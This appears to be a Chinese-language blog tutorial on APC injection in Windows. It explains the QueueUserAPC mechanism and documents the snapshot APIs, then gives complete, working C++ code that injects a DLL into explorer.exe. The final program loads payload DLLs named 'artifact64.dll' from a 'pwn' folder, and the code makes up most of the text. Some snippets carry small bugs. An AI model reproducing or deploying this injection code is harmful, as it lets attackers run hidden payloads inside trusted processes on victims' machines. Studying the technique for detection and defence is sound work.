APC 注入

APC 注入

APC介紹

  1. APC(Asynchronous Procedure Calls,異步過程調用),APC是函數在特定的線程被異步執行。在Windows中APC是一種併發機制,用於異步的IO或定時器。當處於用戶模式的APC壓入線程APC隊列後,該線程並不直接調用APC函數,除非該線程處於可通知狀態,調用的順序爲先入先出。

  2. 只有當一個線程內部調用SleepExSignalObjectAdndWaitWaitForSingleObjectExWaitForMultioleObjectsEx 等特定函數將自己處於掛起狀態時,纔會執行APC隊列函數,在整個執行過程中,線程並無任何異常舉動,不容易被察覺,但缺點是對於單線程程序一般不存在掛起狀態

  3. 每一個線程都有自己的APC隊列(APC queue),可以使用API QueueUserAPC從而將一個APC插入到線程的APC隊列中。線程會調用QueueUserAPC中指定的函數。只有將一個APC放入了線程的APC隊列中,線程纔有機會調用對應的APC函數。

  4. APC(Asynchronous Procedure Calls,異步過程調用),表示在指定線程上下文中異步調用一個函數(APC其實是通過向線程中插入回調函數來實現的,當線程調用上述API時,會觸發APC的回調函數,執行回調函數的代碼)。

  5. 由內核產生的APC稱爲內核態(kernel-mode)APC,而由用戶應用調用的APC稱爲用戶態(user-mode)APC。

APC機制

Windows APC

APC機制詳解

小Win,點一份APC(Apc機制詳解)(一)

注入思路

  1. 當指定程序執行到某一個上面的等待函數的時候,系統會產生一箇中斷
  2. 當線程喚醒的時候, 這個線程會優先去APC隊列中調用回調函數
  3. 利用QueueUserApc,往這個隊列中插入一個回調
  4. 插入回調的時候,把插入的回調地址改爲LoadLibrary,插入的參數我們使用VirtualAllocEx申請內存,並且寫入進去要加載的Dll的地址

首先通過OpenProcess()打開目標進程,獲取進程句柄;然後通過函數CreateToolhelp32Snapshot()Thread32First()以及Thread32Next()遍歷進程快照,獲取目標進程的所有線程ID;緊接着調用VirtualAllocEx()在目標進程申請內存,通過WriteProcessMemory()向內存寫入DLL的注入路徑;最後,遍歷線程ID,獲取線程句柄。調用QueueUserAPC()向線程中插入APC函數,設置APC函數地址爲LoadLibraryA()的地址。這樣只要目標進程中任意線程被喚醒,便會執行APC,完成DLL注入。

下面來看看用戶態下的注入方式的代碼實現,即Ring3層

編碼實現

CreateToolhelp32Snapshot

獲取指定進程的快照,以及這些進程使用的堆、模塊和線程。

原型:

HANDLE CreateToolhelp32Snapshot(
  DWORD dwFlags,
  DWORD th32ProcessID
);

參數

dwFlags:

要包含在快照中的系統部分。此參數可以是以下值中的一個或多個。

th32ProcessID:

要包含在快照中的進程的進程標識符。此參數可以爲零以指示當前進程。當指定TH32CS_SNAPHEAPLISTTH32CS_SNAPMODULETH32CS_SNAPMODULE32TH32CS_SNAPALL值時使用此參數。否則,它將被忽略並且所有進程都包含在快照中。

返回值

如果該函數成功,則返回指定快照的打開句柄。

Process32First

檢索有關係統快照中遇到的第一個進程的信息。

原型:

BOOL Process32First(
  HANDLE           hSnapshot,
  LPPROCESSENTRY32 lppe
);

參數

hSnapshot:

從上一次調用CreateToolhelp32Snapshot函數返回的快照句柄 。

lppe:

指向PROCESSENTRY32結構的指針 。它包含進程信息,例如可執行文件的名稱、進程標識符和父進程的進程標識符。

返回值

如果進程列表的第一個條目已複製到緩衝區,則返回TRUE,否則返回FALSE。所述ERROR_NO_MORE_FILES誤差值由返回 GetLastError函數功能如果不存在進程或快照不包含處理信息。

Process32Next

檢索有關記錄在系統快照中的下一個進程的信息。

原型:

BOOL Process32Next(
  HANDLE           hSnapshot,
  LPPROCESSENTRY32 lppe
);

參數

hSnapshot:

從上一次調用CreateToolhelp32Snapshot函數返回的快照句柄 。

lppe:

指向PROCESSENTRY32結構的指針 。

返回值

如果進程列表的下一個條目已複製到緩衝區,則返回TRUE,否則返回FALSE。所述ERROR_NO_MORE_FILES誤差值由返回 GetLastError函數功能如果不存在進程或快照不包含處理信息。

QueueUserAPC

將用戶模式異步過程調用 (APC) 對象添加到指定線程的 APC 隊列。

原型:

DWORD QueueUserAPC(
  PAPCFUNC  pfnAPC,
  HANDLE    hThread,
  ULONG_PTR dwData
);

參數

pfnAPC:

指向應用程序提供的 APC 函數的指針,當指定的線程執行可警報的等待操作時將調用該函數。有關更多信息,請參閱 APCProc

hThread:

線程的句柄。句柄必須具有THREAD_SET_CONTEXT訪問權限。

dwData:

傳遞給pfnAPC參數指向的 APC 函數的單個值。

返回值

如果函數成功,則返回值非零。

如果函數失敗,則返回值爲零。

PROCESSENTRY32 結構

描述拍攝快照時駐留在系統地址空間中的進程列表中的條目。

原型:

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];
} PROCESSENTRY32;
dwSize

結構的大小,以字節爲單位。在調用Process32First函數之前 ,將此成員設置爲sizeof(PROCESSENTRY32)。如果不初始化dwSize, Process32First 將失敗。

cntUsage

此成員不再使用並且始終設置爲零。

th32ProcessID

進程標識符。

th32DefaultHeapID

此成員不再使用並且始終設置爲零。

th32ModuleID

此成員不再使用並且始終設置爲零。

cntThreads

進程啓動的執行線程數。

th32ParentProcessID

創建此進程的進程的標識符(其父進程)。

pcPriClassBase

此進程創建的任何線程的基本優先級。

dwFlags

此成員不再使用並且始終設置爲零。

szExeFile

進程的可執行文件的名稱。要檢索可執行文件的完整路徑,請調用Module32First函數並檢查返回的MODULEENTRY32結構的szExePath成員。但是,如果調用進程是 32 位進程,則必須調用QueryFullProcessImageName函數來檢索 64 位進程的可執行文件的完整路徑。

根據進程名獲取PID

int main() {
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnapshot ;
	BOOL bRet = FALSE;
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);

	 char* pszProcessName = "explorer.exe";
	
	 //獲取進程快照
	 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	 bRet = ::Process32First(hSnapshot, &pe32);
	
	 if (NULL == hSnapshot)
	 {
		 std::cout << "CreateToolhelp32Snapshot_Error" << std::endl;
		
		 return dwProcessId;
	 }

	 while (bRet)
	 {				
		 if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))//lstrcmpi對比相等則爲0
		 {
			 //匹配到對於進程,賦值給dwProcessId
			 dwProcessId = pe32.th32ProcessID;
			 break;
		 }

		 bRet =  Process32Next(hSnapshot, &pe32);
	 }
	 std::cout<<dwProcessId << std::endl;

}

根據PID獲取所有的相應線程ID

int main() {
	DWORD dwProcessId = 0;
	char* pszProcessName = "explorer.exe";
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;

	dwProcessId = GetProcessIdByProcessName(pszProcessName);

	do {
		// 申請內存
		pThreadId = new DWORD[dwBufferLength];
		if (NULL == pThreadId)
		{
			std::cout << "new Error" << std::endl;
			bRet = FALSE;
			break;
		}
		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
		::RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);

		//創建線程快照
		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		bRet = ::Thread32First(hSnapshot, &te32);

		while (bRet)
		{	
			if (te32.th32OwnerProcessID == dwProcessId) {// 獲取進程對應的線程ID
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}
			// 遍歷下一個線程快照信息
			bRet = ::Thread32Next(hSnapshot, &te32);
		}

	} while (FALSE);

	
		std::cout << pThreadId << std::endl;
}

//結果18180

APC注入

int main() {
	DWORD dwProcessId = 0;
	
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;
	LPVOID pBaseAddress;
	HANDLE  hThread = NULL;
	HANDLE hProcess;
	FARPROC pLoadLibraryAFunc;
	char* pszProcessName = "explorer.exe";
	LPCSTR pszDllName = "dll1.dll";
	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
	dwProcessId = GetProcessIdByProcessName(pszProcessName);
	bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
	for (int i = 0; i < dwThreadIdLength; i++)
	{
		// 打開線程
		hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
		if (hThread)
		{
			// 插入APC
			::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
			// 關閉線程句柄
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}
}

最終代碼

#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>


// 根據進程名稱獲取PID
DWORD GetProcessIdByProcessName(char* pszProcessName);
// 根據PID獲取所有的相應線程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* dwThreadIdLength);
// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName);

void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText);
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}


// 根據進程名稱獲取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
	DWORD dwProcessId = 0;
	PROCESSENTRY32 pe32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = FALSE;
	::RtlZeroMemory(&pe32, sizeof(pe32));
	pe32.dwSize = sizeof(pe32);

	// 獲取進程快照
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (NULL == hSnapshot)
	{
		ShowError("CreateToolhelp32Snapshot");
		return dwProcessId;
	}

	// 獲取第一條進程快照信息
	bRet = ::Process32First(hSnapshot, &pe32);
	while (bRet)
	{
		// 獲取快照信息
		if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
		{
			dwProcessId = pe32.th32ProcessID;
			break;
		}

		// 遍歷下一個進程快照信息
		bRet = ::Process32Next(hSnapshot, &pe32);
	}

	return dwProcessId;
}


// 根據PID獲取所有的相應線程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	DWORD dwBufferLength = 1000;
	THREADENTRY32 te32 = { 0 };
	HANDLE hSnapshot = NULL;
	BOOL bRet = TRUE;

	do
	{
		// 申請內存
		pThreadId = new DWORD[dwBufferLength];
		if (NULL == pThreadId)
		{
			ShowError("new");
			bRet = FALSE;
			break;
		}
		::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

		// 獲取線程快照
		::RtlZeroMemory(&te32, sizeof(te32));
		te32.dwSize = sizeof(te32);
		hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		if (NULL == hSnapshot)
		{
			ShowError("CreateToolhelp32Snapshot");
			bRet = FALSE;
			break;
		}

		// 獲取第一條線程快照信息
		bRet = ::Thread32First(hSnapshot, &te32);
		while (bRet)
		{
			// 獲取進程對應的線程ID
			if (te32.th32OwnerProcessID == dwProcessId)
			{
				pThreadId[dwThreadIdLength] = te32.th32ThreadID;
				dwThreadIdLength++;
			}

			// 遍歷下一個線程快照信息
			bRet = ::Thread32Next(hSnapshot, &te32);
		}

		// 返回
		*ppThreadId = pThreadId;
		*pdwThreadIdLength = dwThreadIdLength;
		bRet = TRUE;

	} while (FALSE);

	if (FALSE == bRet)
	{
		if (pThreadId)
		{
			delete[]pThreadId;
			pThreadId = NULL;
		}
	}

	return bRet;
}


// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)
{
	BOOL bRet = FALSE;
	DWORD dwProcessId = 0;
	DWORD* pThreadId = NULL;
	DWORD dwThreadIdLength = 0;
	HANDLE hProcess = NULL, hThread = NULL;
	PVOID pBaseAddress = NULL;
	PVOID pLoadLibraryAFunc = NULL;
	SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
	DWORD i = 0;

	do
	{
		// 根據進程名稱獲取PID
		dwProcessId = GetProcessIdByProcessName(pszProcessName);
		if (0 >= dwProcessId)
		{
			bRet = FALSE;
			break;
		}

		// 根據PID獲取所有的相應線程ID
		bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
		if (FALSE == bRet)
		{
			bRet = FALSE;
			break;
		}

		// 打開注入進程
		hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
		if (NULL == hProcess)
		{
			ShowError("OpenProcess");
			bRet = FALSE;
			break;
		}

		// 在注入進程空間申請內存
		pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (NULL == pBaseAddress)
		{
			ShowError("VirtualAllocEx");
			bRet = FALSE;
			break;
		}
		// 向申請的空間中寫入DLL路徑數據 
		::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
		if (dwRet != dwDllPathLen)
		{
			ShowError("WriteProcessMemory");
			bRet = FALSE;
			break;
		}

		// 獲取 LoadLibrary 地址
		pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
		if (NULL == pLoadLibraryAFunc)
		{
			ShowError("GetProcessAddress");
			bRet = FALSE;
			break;
		}

		// 遍歷線程, 插入APC
		for (i = 0; i < dwThreadIdLength; i++)
		{
			// 打開線程
			hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
			if (hThread)
			{
				// 插入APC
				::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
				// 關閉線程句柄
				::CloseHandle(hThread);
				hThread = NULL;
			}
		}

		bRet = TRUE;

	} while (FALSE);

	// 釋放內存
	if (hProcess)
	{
		::CloseHandle(hProcess);
		hProcess = NULL;
	}
	if (pThreadId)
	{
		delete[]pThreadId;
		pThreadId = NULL;
	}

	return bRet;
}


int main() {
	BOOL bRet = FALSE;

	// APC注入
#ifdef _WIN64
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact64.dll");
#else
	bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact.dll");
#endif
	if (bRet)
	{
		printf("APC Inject OK.\n");
	}
	else
	{
		printf("APC Inject ERROR.\n");
	}

	system("pause");
	return 0;

}

參考

https://www.cnblogs.com/sakura521/p/15240706.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章